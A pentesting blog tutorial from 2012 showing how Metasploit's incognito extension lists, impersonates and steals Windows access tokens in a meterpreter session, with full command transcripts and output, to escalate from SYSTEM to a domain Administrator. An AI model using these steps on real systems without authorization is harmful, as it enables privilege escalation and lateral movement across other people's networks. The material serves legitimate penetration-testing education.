Token Stealing And Incognito

pentestlab.blog/category/post-exploitation/page/10

August 7, 2012

In metasploit framework there is an extension which is called incognito which allows us to perform activities such as token stealing and manipulation.These kind of activities are important in the privilege escalation stage of a penetration test because if we can steal the token of an administrator for example we can perform higher privilege operations on the target.

So lets say that we have successfully exploited a remote system and we have a meterpreter session.The first thing that we have to do is to load the incognito extension in metasploit which allows us to get commands that the incognito extension supports.

Then we can use the command **list_tokens -u** in order to obtain the list of tokens that are available of the remote system.

```
meterpreter > load incognito
Loading extension incognito...success.
meterpreter >
```

Load the incognito extension in Metasploit

if we would like to impersonate a token from the above list we can use the command **impersonate_token** and one of the delegation tokens that are available.The image below is showing the use of this command.

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
MAROON\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
```

List Tokens

```
meterpreter > impersonate_token MAROON\\Administrator
[+] Delegation token available
[+] Successfully impersonated user MAROON\Administrator
meterpreter > getuid
Server username: MAROON\Administrator
meterpreter >
```

Impersonate Token

We can see from the above image that the session has changed from System to Administrator.So now we can perform various tasks such as modifying files or to break other computers that exist in the same network as the administrator of this system.If we want to return back to our original token we can use the **rev2self** command.

Incognito has some other options as well like the **add_group user** which will try to add a user to global group with all tokens.Except of the token impersonation we can try to steal the token as well.The way that this method works is that it tries to steal the token from an existing process.So in order to achieve that we need first to know the PID's of the processes of the remote system.We can use the command ps in meterpreter in order to obtain the list of the processes of our target.

```
meterpreter > rev2self
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

rev2self

```
 1612  1580  explorer.exe       x86   0          MAROON\Administrator          C:\WINDOWS\E
xplorer.EXE
 1720  1612  VMwareTray.exe     x86   0          MAROON\Administrator          C:\Program F
iles\VMware\VMware Tools\VMwareTray.exe
 1732  1612  vmtoolsd.exe       x86   0          MAROON\Administrator          C:\Program F
iles\VMware\VMware Tools\vmtoolsd.exe
 1772  1612  jusched.exe        x86   0          MAROON\Administrator          C:\Program F
iles\Common Files\Java\Java Update\jusched.exe
 1796  1612  msmsgs.exe         x86   0          MAROON\Administrator          C:\Program F
iles\Messenger\msmsgs.exe
 1808  1612  ctfmon.exe         x86   0          MAROON\Administrator          C:\WINDOWS\s
ystem32\ctfmon.exe
 1828  636   logon.scr          x86   0          MAROON\Administrator          C:\WINDOWS\S
ystem32\logon.scr
 1864  1612  cmd.exe            x86   0          MAROON\Administrator          C:\WINDOWS\s
```

List of processes from the remote target

In this example we will try to steal the token of the user Administrator.So we will use the command **steal_token** and the PID of one of the processes that this user owns.For example the 1864 is the PID of the cmd process.The image below is showing that we have successfully managed to steal the token from the administrator.

```
meterpreter > steal_token 1864
Stolen token with username: MAROON\Administrator
meterpreter > getuid
Server username: MAROON\Administrator
meterpreter > getpid
Current pid: 1044
meterpreter > drop_token
Relinquished token, now running as: NT AUTHORITY\SYSTEM
meterpreter >
```

Steal the token of a user

Conclusion

In this article we saw how we can impersonate users and steal tokens by using the meterpreter after we have exploited the remote system.We can also try to break other systems in the domain with a stolen token.The usage of token stealing and impersonation will help a penetration tester to escalate privileges on the local machine or even to be a domain administrator which is always one of the ultimate goals.